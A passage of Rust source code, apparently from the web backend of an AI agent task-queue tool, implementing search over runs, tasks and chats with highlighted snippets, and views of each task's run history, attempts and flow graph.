5320
5321#[derive(Debug, Serialize)]
5322struct SearchHit {
5323 id: String,
5324 field: String,
5326 snippet: Vec<SnippetPart>,
5327 #[serde(skip_serializing_if = "Option::is_none")]
5331 run: Option<RunSummary>,
5332}
5333
5334#[derive(Debug, Serialize)]
5335struct SearchView {
5336 scope: String,
5337 q: String,
5338 hits: Vec<SearchHit>,
5340 total: usize,
5342 truncated: bool,
5343 unreadable: usize,
5346}
5347
5348fn text_leaves<'a>(
5351 value: &'a serde_json::Value,
5352 field: &'a str,
5353 out: &mut Vec<(&'a str, &'a str)>,
5354) {
5355 match value {
5356 serde_json::Value::String(s) => out.push((field, s)),
5357 serde_json::Value::Array(items) => items.iter().for_each(|v| text_leaves(v, field, out)),
5358 serde_json::Value::Object(map) => map.iter().for_each(|(k, v)| text_leaves(v, k, out)),
5359 _ => {}
5360 }
5361}
5362
5363fn fold_char(c: char) -> char {
5366 c.to_lowercase().next().unwrap_or(c)
5367}
5368
5369fn search_terms(q: &str) -> Vec<String> {
5371 let mut terms: Vec<String> = Vec::new();
5372 for t in q.split_whitespace() {
5373 let t = t.to_lowercase();
5374 if !terms.contains(&t) {
5375 terms.push(t);
5376 }
5377 }
5378 terms
5379}
5380
5381fn search_document(terms: &[String], leaves: &[(&str, &str)]) -> Option<SearchHit> {
5384 let lowered: Vec<String> = leaves.iter().map(|(_, s)| s.to_lowercase()).collect();
5385 let mut first: Option<usize> = None;
5386 for term in terms {
5387 let at = lowered.iter().position(|l| l.contains(term.as_str()))?;
5388 first = Some(first.map_or(at, |f| f.min(at)));
5389 }
5390 let (field, text) = leaves[first?];
5392 Some(SearchHit {
5393 id: String::new(),
5394 field: field.to_owned(),
5395 snippet: snippet_of(text, terms),
5396 run: None,
5397 })
5398}
5399
5400fn snippet_of(text: &str, terms: &[String]) -> Vec<SnippetPart> {
5403 let chars: Vec<char> = text.chars().collect();
5404 let folded: Vec<char> = chars.iter().map(|c| fold_char(*c)).collect();
5405 let needles: Vec<Vec<char>> = terms
5406 .iter()
5407 .map(|t| t.chars().map(fold_char).collect())
5408 .collect();
5409 let find = |from: usize, to: usize| -> Option<(usize, usize)> {
5410 let mut best: Option<(usize, usize)> = None;
5411 for n in needles.iter().filter(|n| !n.is_empty()) {
5412 if n.len() > chars.len() || to == 0 {
5416 continue;
5417 }
5418 let last = (to - 1).min(chars.len() - n.len());
5419 if from > last {
5420 continue;
5421 }
5422 if let Some(i) = (from..=last).find(|&i| folded[i..i + n.len()] == n[..])
5423 && best.is_none_or(|(b, _)| i < b)
5424 {
5425 best = Some((i, i + n.len()));
5426 }
5427 }
5428 best
5429 };
5430 let Some((start, _)) = find(0, chars.len()) else {
5431 let head: String = chars.iter().take(SNIPPET_AFTER).collect();
5433 return vec![SnippetPart {
5434 text: head.split_whitespace().collect::<Vec<_>>().join(" "),
5435 hit: false,
5436 }];
5437 };
5438 let lo = start.saturating_sub(SNIPPET_BEFORE);
5439 let hi = (start + SNIPPET_AFTER).min(chars.len());
5440 let mut parts: Vec<SnippetPart> = Vec::new();
5441 let mut push = |s: &[char], hit: bool| {
5442 if s.is_empty() {
5443 return;
5444 }
5445 let text: String = s.iter().collect();
5446 match parts.last_mut() {
5447 Some(p) if p.hit == hit => p.text.push_str(&text),
5448 _ => parts.push(SnippetPart { text, hit }),
5449 }
5450 };
5451 if lo > 0 {
5452 push(&['\u{2026}'], false);
5453 }
5454 let mut at = lo;
5455 while at < hi {
5456 match find(at, hi) {
5457 Some((s, e)) => {
5458 push(&chars[at..s], false);
5459 let shown = e.min(hi);
5461 push(&chars[s..shown], true);
5462 at = shown;
5463 }
5464 None => {
5465 push(&chars[at..hi], false);
5466 at = hi;
5467 }
5468 }
5469 }
5470 if hi < chars.len() {
5471 push(&['\u{2026}'], false);
5472 }
5473 let mut prev_space = false;
5476 for p in &mut parts {
5477 let mut out = String::with_capacity(p.text.len());
5478 for c in p.text.chars() {
5479 if c.is_whitespace() {
5480 if !prev_space {
5481 out.push(' ');
5482 }
5483 prev_space = true;
5484 } else {
5485 out.push(c);
5486 prev_space = false;
5487 }
5488 }
5489 p.text = out;
5490 }
5491 parts.retain(|p| !p.text.is_empty());
5492 parts
5493}
5494
5495fn search_docs<I>(terms: &[String], docs: I, view: &mut SearchView)
5497where
5498 I: IntoIterator<Item = (String, serde_json::Value)>,
5499{
5500 for (id, doc) in docs {
5501 let mut leaves = Vec::new();
5502 leaves.push(("id", id.as_str()));
5505 text_leaves(&doc, "", &mut leaves);
5506 if let Some(mut hit) = search_document(terms, &leaves) {
5507 view.total += 1;
5508 if view.hits.len() < SEARCH_MAX_HITS {
5509 hit.id = id;
5510 view.hits.push(hit);
5511 }
5512 }
5513 }
5514 view.truncated = view.total > view.hits.len();
5515}
5516
5517fn talk_search_doc(talk: &Talk) -> serde_json::Value {
5523 let opener = talk
5524 .title
5525 .as_ref()
5526 .filter(|t| !t.text.is_empty())
5527 .map(|t| t.text.as_str())
5528 .or_else(|| {
5529 talk.turns
5530 .iter()
5531 .find(|t| t.who == talk::Who::Operator)
5532 .map(|t| t.body.as_str())
5533 })
5534 .and_then(|text| text.lines().map(str::trim).find(|line| !line.is_empty()))
5535 .unwrap_or("");
5536 let title: String = if opener.chars().count() > 96 {
5537 opener.chars().take(95).chain(['\u{2026}']).collect()
5538 } else {
5539 opener.to_owned()
5540 };
5541 let turns: Vec<serde_json::Value> = talk
5542 .turns
5543 .iter()
5544 .map(|t| {
5545 let who = match t.who {
5546 crate::talk::Who::Operator => "operator",
5547 crate::talk::Who::Agent => "agent",
5548 };
5549 serde_json::json!({ who: t.body })
5550 })
5551 .collect();
5552 serde_json::json!({ "title": title, "turns": turns })
5553}
5554
5555async fn search_get(
5562 State(ui): State<Arc<Ui>>,
5563 Query(q): Query<SearchQuery>,
5564) -> ApiResult<Json<SearchView>> {
5565 let query = q.q.trim().to_owned();
5566 if query.is_empty() {
5567 return Err(ApiError::bad_request("q must not be empty"));
5568 }
5569 if query.chars().count() > SEARCH_MAX_QUERY {
5570 return Err(ApiError::bad_request(format!(
5571 "q is longer than {SEARCH_MAX_QUERY} characters"
5572 )));
5573 }
5574 let terms = search_terms(&query);
5575 if terms.len() > SEARCH_MAX_TERMS {
5576 return Err(ApiError::bad_request(format!(
5577 "q has more than {SEARCH_MAX_TERMS} terms"
5578 )));
5579 }
5580 let scope = q.scope;
5581 if scope != "runs" && scope != "tasks" && scope != "chats" {
5582 return Err(ApiError::bad_request("scope must be runs, tasks or chats"));
5583 }
5584 blocking(move || {
5585 let mut view = SearchView {
5586 scope: scope.clone(),
5587 q: query,
5588 hits: Vec::new(),
5589 total: 0,
5590 truncated: false,
5591 unreadable: 0,
5592 };
5593 if scope == "runs" {
5594 let mut unreadable = 0;
5595 let docs = run_ids(&ui.runs).into_iter().filter_map(|id| {
5599 let body = std::fs::read_to_string(ui.runs.join(&id).join("run.json")).ok();
5600 match body.and_then(|b| serde_json::from_str(&b).ok()) {
5601 Some(v) => Some((id, v)),
5602 None => {
5603 unreadable += 1;
5604 None
5605 }
5606 }
5607 });
5608 search_docs(&terms, docs, &mut view);
5609 view.unreadable = unreadable;
5610 let (open_runs, claimed, superseded) = run_row_inputs(&ui);
5613 let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
5614 for hit in &mut view.hits {
5615 if let Ok(state) = read_run(&ui.runs, &hit.id) {
5616 hit.run = summarize(
5617 [state],
5618 &open_runs,
5619 &claimed,
5620 &superseded,
5621 |p| probe.borrow_mut().status(p),
5622 |p| probe.borrow_mut().started_at(p),
5623 )
5624 .pop();
5625 }
5626 }
5627 } else if scope == "chats" {
5628 let (talks, unreadable) = ui.talks.list_counting_unreadable();
5629 view.unreadable = unreadable;
5630 search_docs(
5631 &terms,
5632 talks.iter().map(|t| (t.id.clone(), talk_search_doc(t))),
5633 &mut view,
5634 );
5635 } else {
5636 let docs = ui.queue.list().into_iter().filter_map(|t| {
5637 let mut v = serde_json::to_value(&t).ok()?;
5638 if let Some(o) = v.as_object_mut() {
5641 o.insert("filed_by".to_owned(), t.source.label().into());
5642 }
5643 Some((t.id, v))
5644 });
5645 search_docs(&terms, docs, &mut view);
5646 }
5647 Ok(Json(view))
5648 })
5649 .await
5650}
5651
5652#[derive(Debug, Serialize)]
5654struct TaskRunView {
5655 n: usize,
5657 id: String,
5658 short: String,
5659 kind: &'static str,
5661 status: Option<&'static str>,
5663 readable: bool,
5665 provisional: bool,
5667 description: String,
5669 outcome: String,
5671 created_at: Option<Timestamp>,
5672 pr: Option<String>,
5673 exit: RunExit,
5675 attempt: AttemptCost,
5677 exit_label: String,
5680 later_pass: Option<usize>,
5683 pass_n: usize,
5687 passes_of_run: usize,
5688 pass: Option<PassView>,
5691 branch: Option<String>,
5693 badge: Option<String>,
5696}
5697
5698#[derive(Debug, Clone, PartialEq, Serialize)]
5700struct PassView {
5701 index: usize,
5702 resumed: bool,
5703 started_at: Timestamp,
5704 ended_at: Option<Timestamp>,
5705 end: &'static str,
5707 cause: Option<crate::run::ParkCause>,
5708 label: String,
5710 cost: Option<crate::queue::PassCost>,
5713}
5714
5715impl PassView {
5716 fn of(p: &crate::run::RunPass, settled: Option<&crate::queue::TaskPass>) -> Self {
5717 use crate::run::PassEnd;
5718 let (end, cause, label) = match &p.end {
5719 None => ("open", None, "still open".to_owned()),
5720 Some(PassEnd::Parked { cause }) => ("parked", Some(cause.clone()), cause.label()),
5721 Some(PassEnd::Unrecorded) => (
5722 "unrecorded",
5723 None,
5724 "stopped without recording why (a crash, a kill or a restart; not known)"
5725 .to_owned(),
5726 ),
5727 };
5728 Self {
5729 index: p.index,
5730 resumed: p.resumed,
5731 started_at: p.started_at,
5732 ended_at: p.ended_at,
5733 end,
5734 cause,
5735 label,
5736 cost: settled.map(|t| t.cost),
5737 }
5738 }
5739}
5740
5741#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5743#[serde(rename_all = "snake_case")]
5744enum RunExit {
5745 Unreadable,
5746 Interrupted,
5748 Parked,
5749 QuotaStall,
5750 ResumedQuotaStall,
5754 Merged,
5755 Ready,
5756 Superseded,
5757 AlreadyInBase,
5760 Stalled,
5762 HeldWithPr,
5764 NoopHeld,
5765 Spent,
5767 InProgress,
5768}
5769
5770#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize)]
5771#[serde(rename_all = "snake_case")]
5772enum AttemptCost {
5773 Spent,
5774 Refunded,
5775 None,
5776 Unknown,
5778}
5779
5780impl RunExit {
5781 fn of(s: Option<&RunState>, resumed_later: bool, resumed: bool) -> Self {
5782 let Some(s) = s else {
5783 return Self::Unreadable;
5784 };
5785 let status = s.status;
5786 if resumed_later {
5787 Self::Interrupted
5788 } else if s.parked {
5789 Self::Parked
5790 } else if !status.done() {
5791 Self::InProgress
5792 } else if matches!(status, RunStatus::Merged) {
5793 Self::Merged
5794 } else if matches!(status, RunStatus::Ready) {
5795 Self::Ready
5796 } else if matches!(status, RunStatus::Superseded) {
5797 Self::Superseded
5798 } else if matches!(status, RunStatus::AlreadyInBase) {
5799 Self::AlreadyInBase
5800 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
5801 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
5802 {
5803 if resumed {
5804 Self::ResumedQuotaStall
5805 } else {
5806 Self::QuotaStall
5807 }
5808 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
5809 Self::HeldWithPr
5810 } else if matches!(status, RunStatus::VerifiedNoop) {
5811 Self::NoopHeld
5812 } else if matches!(status, RunStatus::Stalled) {
5813 Self::Stalled
5814 } else {
5815 Self::Spent
5816 }
5817 }
5818
5819 fn cost(self) -> AttemptCost {
5820 match self {
5821 Self::Parked | Self::QuotaStall => AttemptCost::Refunded,
5822 Self::Merged
5823 | Self::Ready
5824 | Self::Stalled
5825 | Self::HeldWithPr
5826 | Self::NoopHeld
5827 | Self::Spent => AttemptCost::Spent,
5828 Self::InProgress => AttemptCost::None,
5829 Self::AlreadyInBase => AttemptCost::Refunded,
5830 Self::Unreadable | Self::Superseded | Self::Interrupted | Self::ResumedQuotaStall => {
5831 AttemptCost::Unknown
5832 }
5833 }
5834 }
5835
5836 fn edge_label(self, status: Option<&str>) -> String {
5838 match self {
5839 Self::Unreadable => "record unreadable".to_owned(),
5840 Self::Interrupted => "interrupted before the run finished".to_owned(),
5841 Self::Parked => "parked, attempt refunded".to_owned(),
5842 Self::QuotaStall => "quota stall, attempt refunded".to_owned(),
5843 Self::ResumedQuotaStall => "stalled after a resume, refund unknown".to_owned(),
5844 Self::Merged => "merged".to_owned(),
5845 Self::Ready => "ready, not merged".to_owned(),
5846 Self::Superseded => "superseded by a later attempt".to_owned(),
5847 Self::AlreadyInBase => "already in the base, attempt refunded".to_owned(),
5848 Self::Stalled => "stalled, no verdict, attempt spent".to_owned(),
5849 Self::HeldWithPr => "blocked, PR left open".to_owned(),
5850 Self::NoopHeld => "verified no-op".to_owned(),
5851 Self::Spent => format!("{}, attempt spent", status.unwrap_or("ended")),
5852 Self::InProgress => "in progress".to_owned(),
5853 }
5854 }
5855
5856 fn explains(self, end: TaskStatus) -> bool {
5859 match self {
5860 Self::Merged | Self::AlreadyInBase => end == TaskStatus::Done,
5861 Self::HeldWithPr | Self::NoopHeld => end == TaskStatus::Held,
5862 Self::Unreadable | Self::Superseded | Self::Ready => true,
5863 _ => end != TaskStatus::Done,
5864 }
5865 }
5866}
5867
5868#[derive(Debug, Serialize)]
5870struct TaskDetailView {
5871 #[serde(flatten)]
5872 task: TaskView,
5873 max_attempts: usize,
5876 history: Vec<TaskRunView>,
5877 passes_total: usize,
5880 runs_distinct: usize,
5882 flow: FlowView,
5883 followup_origin: Option<FollowUpOrigin>,
5885 runs_unreadable: usize,
5887 attempts_note: &'static str,
5889}
5890
5891const ATTEMPTS_NOTE: &str = "Attempts count how many times the loop claimed this task since it was last released, \
5892and releasing a task resets the count while keeping every run. An attempt is also handed back when a run stalled \
5893on an agent rate limit or was parked for an upgrade. A resumed run appears again in the list as another pass over the same run, so \
5894the entries listed can outnumber the attempts shown after a release or a handed-back attempt.";
5895
5896fn review_branch_of(instruction: &str) -> Option<&str> {
5899 let rest = instruction.strip_prefix("Review the work already on branch `")?;
5900 rest.split('`').next().filter(|b| !b.is_empty())
5901}
5902
5903#[derive(Default)]
5905struct RunSlot<'a> {
5906 n: usize,
5908 resumed: bool,
5910 resumed_later: Option<usize>,
5912 prior: Option<(&'a str, RunStatus)>,
5914 last: bool,
5915 pass: Option<&'a crate::run::RunPass>,
5917 settled: Option<&'a crate::queue::TaskPass>,
5919 pass_n: usize,
5921 passes_of_run: usize,
5922}
5923
5924fn task_run_view(id: &str, state: Option<&RunState>, at: RunSlot<'_>, task: &Task) -> TaskRunView {
5927 let RunSlot {
5928 n,
5929 resumed,
5930 resumed_later,
5931 prior,
5932 last,
5933 pass,
5934 settled,
5935 pass_n,
5936 passes_of_run,
5937 } = at;
5938 let short = run::short_of(id).to_owned();
5939 let Some(s) = state else {
5940 return TaskRunView {
5941 n,
5942 id: id.to_owned(),
5943 short,
5944 kind: "unknown",
5945 status: None,
5946 readable: false,
5947 provisional: false,
5948 description:
5949 "This run's record could not be read by this build (written by a different \
5950 magi, or removed), so what kind of attempt it was is unknown."
5951 .to_owned(),
5952 outcome: String::new(),
5953 created_at: None,
5954 pr: None,
5955 exit: RunExit::Unreadable,
5956 attempt: AttemptCost::Unknown,
5957 exit_label: RunExit::Unreadable.edge_label(None),
5958 later_pass: resumed_later,
5959 pass_n,
5960 passes_of_run,
5961 pass: None,
5962 branch: None,
5963 badge: None,
5964 };
5965 };
5966 let branch = review_branch_of(&s.instruction);
5967 let kind = if resumed {
5968 "resume"
5969 } else if branch.is_some() {
5970 "review"
5971 } else if task.solo || s.candidates.len() == 1 {
5972 "solo"
5973 } else {
5974 "competition"
5975 };
5976 let mut description = match kind {
5977 "resume" => {
5978 format!("Resumed run {short}: the same run carried on instead of competing again.")
5979 }
5980 "review" => format!(
5981 "Review the work already on branch `{}`: a review-only pass, no new implementation.",
5982 branch.unwrap_or_default()
5983 ),
5984 "solo" => "Solo run: one implementer straight into review.".to_owned(),
5985 _ => format!(
5986 "Competition: {} candidates judged blind.",
5987 s.candidates.len().max(1)
5988 ),
5989 };
5990 if !resumed && let Some((p, st)) = prior {
5991 description.push_str(&format!(
5992 " A retry: run {p} before it ended {}.",
5993 st.display_label()
5994 ));
5995 }
5996
5997 let status = s.status;
5998 let provisional = matches!(status, RunStatus::Stalled)
5999 || s.tally.as_ref().is_some_and(|t| !t.met_quorum) && !status.done();
6000 let head = if resumed_later.is_some() {
6001 String::new()
6002 } else {
6003 match status {
6004 RunStatus::Merged => "Merged.".to_owned(),
6005 RunStatus::Ready => "Ready: passed the gate, not merged.".to_owned(),
6006 RunStatus::Superseded => "Superseded: a later attempt finished the task.".to_owned(),
6007 RunStatus::AlreadyInBase => {
6008 "Already in the base: this change landed under other commits, nothing was left to land."
6009 .to_owned()
6010 }
6011 RunStatus::Stalled => {
6012 "Stalled: the judging panel never reached a quorum, so there is no verdict."
6013 .to_owned()
6014 }
6015 RunStatus::Blocked => "Blocked: review or gate left something open.".to_owned(),
6016 RunStatus::Failed => "Failed: the graph could not complete.".to_owned(),
6017 RunStatus::VerifiedNoop => {
6018 "Verified no-op: the candidates found nothing to change.".to_owned()
6019 }
6020 other if other.done() => format!("Ended {}.", other.display_label()),
6021 other => format!("In progress ({}).", other.display_label()),
6022 }
6023 };
6024 let view = pass.map(|p| PassView::of(p, settled));
6025 let recorded_end = view
6026 .as_ref()
6027 .filter(|v| matches!(v.end, "parked" | "unrecorded"));
6028 let cost_words = match view.as_ref().and_then(|v| v.cost) {
6029 Some(crate::queue::PassCost::Refunded) => "its attempt was handed back",
6030 Some(crate::queue::PassCost::Spent) => "its attempt stayed counted",
6031 None => "whether its attempt was handed back was not recorded",
6032 };
6033 let pass_note = if passes_of_run > 1 {
6034 format!(
6035 " This is pass {pass_n} of {passes_of_run} over run {short}: one run, resumed, not {passes_of_run} separate runs."
6036 )
6037 } else {
6038 String::new()
6039 };
6040 let why = if let (Some(k), Some(v)) = (resumed_later, recorded_end) {
6041 let cause = match v.end {
6043 "parked" => format!("It was stopped on purpose: {}.", v.label),
6044 _ => format!("It {}.", v.label),
6045 };
6046 format!(
6047 " {cause} {}; pass #{k} resumed the same run.{pass_note}",
6048 capitalise(cost_words)
6049 )
6050 } else if let Some(k) = resumed_later {
6051 let cause = if s.quota.is_empty() {
6058 "the cause was not recorded: a park, a crash or a restart all look the same from here"
6059 } else {
6060 "the run has recorded an agent rate limit, which may or may not be why this pass stopped"
6061 };
6062 format!(
6063 " This pass stopped before the run finished ({cause}); whether its attempt was handed back is unknown. Pass #{k} resumed the same run, and the status shown is the run's current one."
6064 )
6065 } else if s.parked {
6066 match recorded_end.and_then(|v| v.cause.as_ref()) {
6067 Some(cause) => format!(
6068 " Parked at a node boundary ({}); {} and the run resumes.{pass_note}",
6069 cause.label(),
6070 cost_words
6071 ),
6072 None => " Parked at a node boundary; the attempt was handed back and the run resumes."
6073 .to_owned(),
6074 }
6075 } else if !status.done()
6076 || matches!(
6077 status,
6078 RunStatus::Merged | RunStatus::Ready | RunStatus::Superseded | RunStatus::AlreadyInBase
6079 )
6080 {
6081 String::new()
6082 } else if matches!(status, RunStatus::Stalled) && !s.quota.is_empty()
6083 || matches!(status, RunStatus::Failed) && !s.quota.is_empty() && s.viable().is_empty()
6084 {
6085 " An agent hit its rate limit during this run; when that is what stalls a pass the attempt is handed back."
6086 .to_owned()
6087 } else if matches!(status, RunStatus::Blocked | RunStatus::VerifiedNoop) && s.pr.is_some() {
6088 " It left a pull request open, so the task was held for a person rather than retried."
6089 .to_owned()
6090 } else if matches!(status, RunStatus::VerifiedNoop) {
6091 " Held for a person to check the claim.".to_owned()
6092 } else if last {
6093 " It spent an attempt; the task retries until the budget runs out, then is held.".to_owned()
6094 } else {
6095 " It spent an attempt, and the task moved on to the next run.".to_owned()
6096 };
6097 let mut exit = RunExit::of(Some(s), resumed_later.is_some(), resumed);
6098 let mut attempt = exit.cost();
6099 let mut exit_label = None;
6100 if let Some(v) = recorded_end.filter(|_| resumed_later.is_some() || s.parked) {
6101 let spent = match v.cost {
6102 Some(crate::queue::PassCost::Refunded) => ", attempt refunded",
6103 Some(crate::queue::PassCost::Spent) => ", attempt counted",
6104 None if resumed_later.is_some() => ", refund not recorded",
6105 None => ", attempt refunded",
6106 };
6107 attempt = match v.cost {
6108 Some(crate::queue::PassCost::Refunded) => AttemptCost::Refunded,
6109 Some(crate::queue::PassCost::Spent) => AttemptCost::Spent,
6110 None if resumed_later.is_some() => AttemptCost::Unknown,
6111 None => attempt,
6112 };
6113 if v.end == "parked" {
6114 exit = RunExit::Parked;
6115 exit_label = Some(match v.cause.as_ref() {
6116 Some(c @ crate::run::ParkCause::Upgrade { .. }) => {
6117 format!("parked for {}{spent}", c.label())
6118 }
6119 Some(c) => format!("parked ({}){spent}", c.label()),
6120 None => format!("parked{spent}"),
6121 });
6122 } else {
6123 exit_label = Some(format!("stopped without a recorded cause{spent}"));
6124 }
6125 }
6126 let exit_label = exit_label.unwrap_or_else(|| exit.edge_label(Some(status.as_str())));
6127 TaskRunView {
6128 n,
6129 id: id.to_owned(),
6130 short,
6131 kind,
6132 status: Some(status.as_str()),
6133 readable: true,
6134 provisional,
6135 description,
6136 outcome: format!("{head}{why}"),
6137 created_at: Some(s.created_at),
6138 pr: s.pr.as_ref().map(|p| p.url.clone()),
6139 exit,
6140 attempt,
6141 exit_label,
6142 later_pass: resumed_later,
6143 pass_n,
6144 passes_of_run,
6145 pass: view,
6146 branch: branch.map(str::to_owned),
6147 badge: None,
6148 }
6149}
6150
6151fn capitalise(s: &str) -> String {
6152 let mut c = s.chars();
6153 c.next().map_or_else(String::new, |f| {
6154 f.to_uppercase().collect::<String>() + c.as_str()
6155 })
6156}
6157
6158#[derive(Debug, Serialize, PartialEq)]
6160struct FlowNode {
6161 key: String,
6163 kind: &'static str,
6165 label: String,
6166 status: Option<&'static str>,
6169 status_of: &'static str,
6172 note: Option<&'static str>,
6174 run_kind: Option<&'static str>,
6175 detail: Option<String>,
6176 decided: bool,
6178 readable: bool,
6179 href: Option<String>,
6180 badge: Option<String>,
6182 started_at: Option<Timestamp>,
6184 time_expected: bool,
6186}
6187
6188#[derive(Debug, Serialize, PartialEq)]
6189struct FlowEdge {
6190 from: String,
6191 to: String,
6192 label: String,
6193 attempt: AttemptCost,
6194}
6195
6196#[derive(Debug, Serialize, PartialEq)]
6197struct FlowView {
6198 nodes: Vec<FlowNode>,
6199 edges: Vec<FlowEdge>,
6200 attempts: usize,
6202 max_attempts: usize,
6203 passes: usize,
6206 runs: usize,
6207}
6208
6209fn task_flow(
6218 task: &Task,
6219 history: &[TaskRunView],
6220 max_attempts: usize,
6221 origin: Option<&FollowUpOrigin>,
6222) -> FlowView {
6223 let max_attempts = task.effective_attempt_limit(max_attempts);
6224 let node = |key: &str, kind, label: String| FlowNode {
6225 key: key.to_owned(),
6226 kind,
6227 label,
6228 status: None,
6229 status_of: "run",
6230 note: None,
6231 run_kind: None,
6232 detail: None,
6233 decided: false,
6234 readable: true,
6235 href: None,
6236 badge: None,
6237 started_at: None,
6238 time_expected: matches!(kind, "start" | "run" | "end"),
6239 };
6240 let mut nodes = Vec::new();
6241 let mut edges: Vec<FlowEdge> = Vec::new();
6242 if let Some(link) = source_link(&task.source).filter(|l| l.kind == "chat") {
6244 let mut n = node(
6245 "chat",
6246 "chat",
6247 format!("Chat {}", crate::queue::short(&link.id)),
6248 );
6249 n.href = Some(link.href);
6250 nodes.push(n);
6251 edges.push(FlowEdge {
6252 from: "chat".to_owned(),
6253 to: if origin.is_some() { "origin" } else { "start" }.to_owned(),
6254 label: "queued from chat".to_owned(),
6255 attempt: AttemptCost::None,
6256 });
6257 }
6258 if let Some(o) = origin {
6259 let mut n = match &o.parent {
6260 Some(p) => {
6261 let mut n = node("origin", "followup", format!("Follow-up of {}", p.short));
6262 n.status = Some(p.status);
6263 n.status_of = "task";
6264 n.detail = Some(p.title.clone()).filter(|t| !t.is_empty());
6265 n.href = Some(p.href.clone());
6266 n
6267 }
6268 None => {
6269 let mut n = node(
6270 "origin",
6271 "followup",
6272 format!("Follow-up of run {}", o.run.short),
6273 );
6274 n.detail = Some("merged run".to_owned());
6275 n.status = o.run.status;
6276 n.href = o.run.href.clone();
6277 if o.run.href.is_none() {
6278 n.readable = false;
6279 n.note = Some("unreadable");
6280 }
6281 n
6282 }
6283 };
6284 n.decided = true;
6285 let from = n.key.clone();
6286 nodes.push(n);
6287 let shown: Vec<&str> = o.findings.iter().take(3).map(String::as_str).collect();
6288 let more = o.findings.len().saturating_sub(shown.len());
6289 let label = match (shown.is_empty(), more) {
6290 (true, _) => "open findings".to_owned(),
6291 (false, 0) => format!("open findings {}", shown.join(", ")),
6292 (false, m) => format!("open findings {} +{m} more", shown.join(", ")),
6293 };
6294 edges.push(FlowEdge {
6295 from,
6296 to: "start".to_owned(),
6297 label,
6298 attempt: AttemptCost::None,
6299 });
6300 }
6301 let mut start = node("start", "start", "Task queued".to_owned());
6302 start.started_at = Some(task.created_at);
6303 nodes.push(start);
6304 let mut prev = "start".to_owned();
6305 let mut prev_exit: Option<(RunExit, String, AttemptCost)> = None;
6306 for (i, h) in history.iter().enumerate() {
6307 let key = format!("run-{}", h.n);
6308 let mut n = node(&key, "run", format!("Run {}", h.short));
6309 n.started_at = h
6312 .readable
6313 .then(|| {
6314 h.pass.as_ref().map(|p| p.started_at).or(if h.pass_n == 1 {
6315 h.created_at
6316 } else {
6317 None
6318 })
6319 })
6320 .flatten();
6321 n.run_kind = Some(h.kind);
6322 n.readable = h.readable;
6323 n.href = Some(format!("#/runs/{}", h.id));
6324 n.decided = h.readable && !h.provisional;
6325 n.detail = h
6326 .branch
6327 .as_ref()
6328 .map(|b| format!("review-only run of branch {b}"));
6329 match h.exit {
6330 RunExit::Unreadable => n.note = Some("unreadable"),
6331 RunExit::Interrupted => n.note = Some("interrupted"),
6332 RunExit::Parked if h.later_pass.is_some() => n.note = Some("parked"),
6335 _ => {
6336 n.status = h.status;
6337 n.badge = h.badge.clone();
6338 if h.provisional {
6339 n.note = Some("no verdict");
6340 }
6341 }
6342 }
6343 let into = match h.kind {
6344 "review" => Some(format!(
6345 "review-only run of branch {}",
6346 h.branch.as_deref().unwrap_or("?")
6347 )),
6348 "resume" => Some("resume the same run".to_owned()),
6349 _ if i > 0 => Some("retry".to_owned()),
6350 _ => None,
6351 };
6352 let attempt = prev_exit.as_ref().map_or(AttemptCost::None, |p| p.2);
6353 let label = match (prev_exit, into) {
6354 (Some((_, l, _)), Some(i)) => format!("{l} \u{2192} {i}"),
6355 (Some((_, l, _)), None) => l,
6356 (None, Some(i)) => i,
6357 (None, None) => "claimed".to_owned(),
6358 };
6359 edges.push(FlowEdge {
6360 from: prev.clone(),
6361 to: key.clone(),
6362 label,
6363 attempt,
6364 });
6365 prev_exit = Some((h.exit, h.exit_label.clone(), h.attempt));
6366 prev = key;
6367 nodes.push(n);
6368 }
6369 let mut end = node("end", "end", task.status.as_str().to_owned());
6370 end.status = Some(task.status.as_str());
6371 end.status_of = "task";
6372 if task.status == TaskStatus::Held {
6375 end.started_at = task.held_at;
6376 }
6377 nodes.push(end);
6378 let (label, attempt) = match prev_exit {
6379 None => (
6380 format!("no run yet \u{2192} {}", task.status.as_str()),
6381 AttemptCost::None,
6382 ),
6383 Some((e, l, cost)) if e.explains(task.status) => {
6384 (format!("{l} \u{2192} {}", task.status.as_str()), cost)
6385 }
6386 Some((_, _, cost)) => (
6387 format!("closed by hand: task is {}", task.status.as_str()),
6388 cost,
6389 ),
6390 };
6391 edges.push(FlowEdge {
6392 from: prev,
6393 to: "end".to_owned(),
6394 label,
6395 attempt,
6396 });
6397 FlowView {
6398 nodes,
6399 edges,
6400 attempts: task.attempts,
6401 max_attempts,
6402 passes: history.len(),
6403 runs: distinct_runs(&task.runs),
6404 }
6405}
6406
6407fn distinct_runs(runs: &[String]) -> usize {
6409 let mut seen: Vec<&str> = Vec::new();
6410 for r in runs {
6411 if !seen.contains(&r.as_str()) {
6412 seen.push(r);
6413 }
6414 }
6415 seen.len()
6416}
6417
6418fn task_history(task: &Task, read: impl Fn(&str) -> Option<RunState>) -> Vec<TaskRunView> {
6420 let mut slots = Vec::new();
6421 let mut seen = Vec::new();
6422 for run_id in &task.runs {
6423 if seen.contains(&run_id) {
6424 continue;
6425 }
6426 seen.push(run_id);
6427 let state = read(run_id);
6428 let mine: Vec<_> = state.as_ref().map_or_else(Vec::new, |s| {
6429 s.passes
6430 .iter()
6431 .filter(|p| {
6432 p.task_entry
6433 || task
6434 .passes
6435 .iter()
6436 .any(|t| t.run == *run_id && t.pass_index == p.index)
6437 })
6438 .cloned()
6439 .collect()
6440 });
6441 let legacy_count = task.runs.iter().filter(|r| *r == run_id).count();
6442 let total = legacy_count.max(mine.len());
6443 let offset = total - mine.len();
6444 for k in 0..total {
6445 let position = task
6448 .runs
6449 .iter()
6450 .enumerate()
6451 .filter(|(_, r)| *r == run_id)
6452 .nth(k.min(legacy_count - 1))
6453 .unwrap()
6454 .0;
6455 slots.push((
6456 run_id,
6457 state.clone(),
6458 k.checked_sub(offset).and_then(|i| mine.get(i)).cloned(),
6459 position,
6460 ));
6461 }
6462 }
6463 if distinct_runs(&task.runs) == task.runs.len() && slots.len() > task.runs.len() {
6464 slots.sort_by_key(|(_, state, pass, _)| {
6465 pass.as_ref()
6466 .map(|p| p.started_at)
6467 .or_else(|| state.as_ref().map(|s| s.created_at))
